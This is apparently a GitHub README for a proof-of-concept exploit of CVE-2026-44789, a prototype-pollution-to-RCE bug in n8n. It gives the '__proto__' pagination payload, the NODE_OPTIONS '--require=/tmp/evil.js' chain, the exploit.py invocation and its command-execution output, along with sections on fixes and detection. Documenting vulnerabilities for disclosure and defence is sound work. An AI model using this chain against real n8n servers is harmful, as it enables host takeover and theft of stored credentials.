BiiTts/CVE-2026-44789-n8n-PrototypePollution-RCE

GitHub: BiiTts/CVE-2026-44789-n8n-PrototypePollution-RCE

针对 n8n 原型污染漏洞 CVE-2026-44789 的端到端 PoC 项目,包含实验环境与自动化利用脚本,演示从分页参数污染到远程代码执行的完整利用链。

Stars: 0 | Forks: 0

# CVE-2026-44789 — n8n HTTP Request Node 分页原型污染 → RCE | | | |---|---| | **CVE** | CVE-2026-44789 | | **安全公告** | [GHSA-c8xv-5998-g76h](https://github.com/n8n-io/n8n/security/advisories/GHSA-c8xv-5998-g76h) | | **受影响版本** | `< 1.123.43`, `2.0.0-rc.0 … < 2.20.7`, `2.21.0 … < 2.22.1` | | **修复版本** | `1.123.43` / `2.20.7` / `2.22.1` | | **分类** | CWE-1321 (原型污染) → CWE-94 (RCE) | | **CVSS** | `9.4` (CVSS 4.0) / 严重 | | **认证要求** | 需认证(具备工作流创建/修改权限) | | **状态** | **已确认** — 针对 `n8nio/n8n:1.123.42` 完成了端到端的完整复现 | ## 1. 污染原语 `packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts`,分页模式 `updateAParameterInEachRequest`: ``` paginationData.request[parameter.type]![parameterName] = parameterValue; ``` `parameter.type`、`parameterName` 和 `parameterValue` 均来自工作流 JSON(由攻击者控制)。当 **`parameter.type = "__proto__"`** 时, `paginationData.request["__proto__"]` 会解析为 `Object.prototype`,因此该 赋值操作会执行 `Object.prototype[parameterName] = parameterValue` —— 在 n8n 服务器进程中引发了一次**全局** 原型污染。 修复方案对 `paginationData.request` 使用了 `Object.create(null)`,因此 `["__proto__"]` 会变成一个普通的(null 原型)键,而不再是原型。 ## 2. RCE 利用链 `packages/cli/src/task-runners/task-runner-process-js.ts` 启动了 JS task runner: ``` return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) }); ``` Node 的 `normalizeSpawnArguments` 使用 **`for (const key in env)`** 构建子进程环境变量, 这会枚举**继承的**可枚举属性。 因此,污染 `Object.prototype.NODE_OPTIONS = "--require=/path/evil.js"` 会将其 泄露到启动的 runner 环境变量中。子进程是 `node`,它会遵循 `NODE_OPTIONS` 的设置,因而在启动时 `--require` 攻击者的文件 → 以 n8n 服务用户的身份在 Code-node 沙箱**外部** 执行代码。 该 runner 在启动时即被运行,但每当 进程退出时,其生命周期机制都会重新启动它(`onProcessExit → start()`)。攻击者可以通过使用 Code node 挂起 runner(task-timeout / OOM 会将其杀死),从而在污染发生*之后*强制其重启。 ## 3. 端到端利用链(`exploit.py` 的执行流程) ``` 1. write /tmp/evil.js via Set → Convert to File → Read/Write Files nodes 2. hang the task runner via a Code node ( while(true){} ) [BEFORE polluting] 3. pollute Object.prototype.NODE_OPTIONS via the HTTP Request node ( type="__proto__" ) 4. the hung runner times out → main process respawns 'node' → inherits NODE_OPTIONS → require('/tmp/evil.js') → RCE ``` 执行顺序至关重要:污染操作会将 `NODE_OPTIONS` 变为 `Object.prototype` 上一个可枚举且非自身的键, 这会导致 n8n 的 TypeORM 层出错(在实体上进行 `for…in` 遍历时), 从而破坏工作流的持久化。因此,在污染生效之前,runner 必须已经处于挂起状态; 这样在重启时就会加载到被污染的环境变量。 ## 4. 复现 ``` docker compose -f lab/docker-compose.yml up -d # n8nio/n8n:1.123.42, runners enabled to mirror 2.x python3 exploit.py http://127.0.0.1:5678 -c "id; hostname" # 命令输出出现在 n8n 主机上: docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof # RCE uid=1000(node) gid=1000(node) groups=1000(node) # ``` `exploit.py` 仅使用 Python 标准库,并端到端地驱动 n8n REST API (所有者设置/登录 → 部署工作流 → 触发利用链)。 观测结果: ``` [*] step 1: wrote --require payload to /tmp/evil.js (via Read/Write Files node) [*] step 2: dispatched a hanging task -> runner is now busy [*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js [*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ... RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node) ``` `uid=1000(node)` 是 runner 的服务账户,输出的是实时的 `id`/`uname` 状态 —— 这是真实的命令执行,而不是输入回显。 ## 5. 影响 任何能够创建或修改工作流的已认证用户,都能在 n8n 宿主机上执行操作系统命令, 逃逸出 Code-node 沙箱 —— 这将导致自动化服务器及其所能访问的 所有凭证/系统遭到全面入侵。 ## 6. 修复建议 * 升级至 **n8n ≥ 1.123.43 / 2.20.7 / 2.22.1**(分页对象使用 `Object.create(null)` 构建,阻止了 `__proto__` 的写入)。 * 纵深防御:将工作流的创建/修改权限限制为受信任的用户;runner 已经 通过 `--disable-proto=delete` / `--disallow-code-generation-from-strings` 进行了强化, 但这些措施保护的是 *runner*,而不是发生污染的 *主* 进程。 ## 7. 检测 标记那些 HTTP Request 分页参数中使用 `__proto__` / `constructor` / `prototype` 作为 `type` 值的工作流, 并留意 n8n/TypeORM 日志中作为实体属性错误出现的 `NODE_OPTIONS`。 有关污染原语、Node 的 `for…in` 环境变量行为、 runner 生命周期以及补丁的详细信息,请参阅 [`ANALYSIS.md`](ANALYSIS.md)。 * 作者:**Caio Fabrício** — [github.com/BiiTts](https://github.com/BiiTts) * 漏洞致谢属于最初的报告者/供应商安全公告; 此处的污染→RCE 利用链属于独立研究。仅供授权的安全测试使用。
标签:GNU通用公共许可证, Go语言工具, MITM代理, n8n, Node.js, PoC, 原型污染, 暴力破解, 编程工具, 请求拦截, 远程代码执行, 逆向工具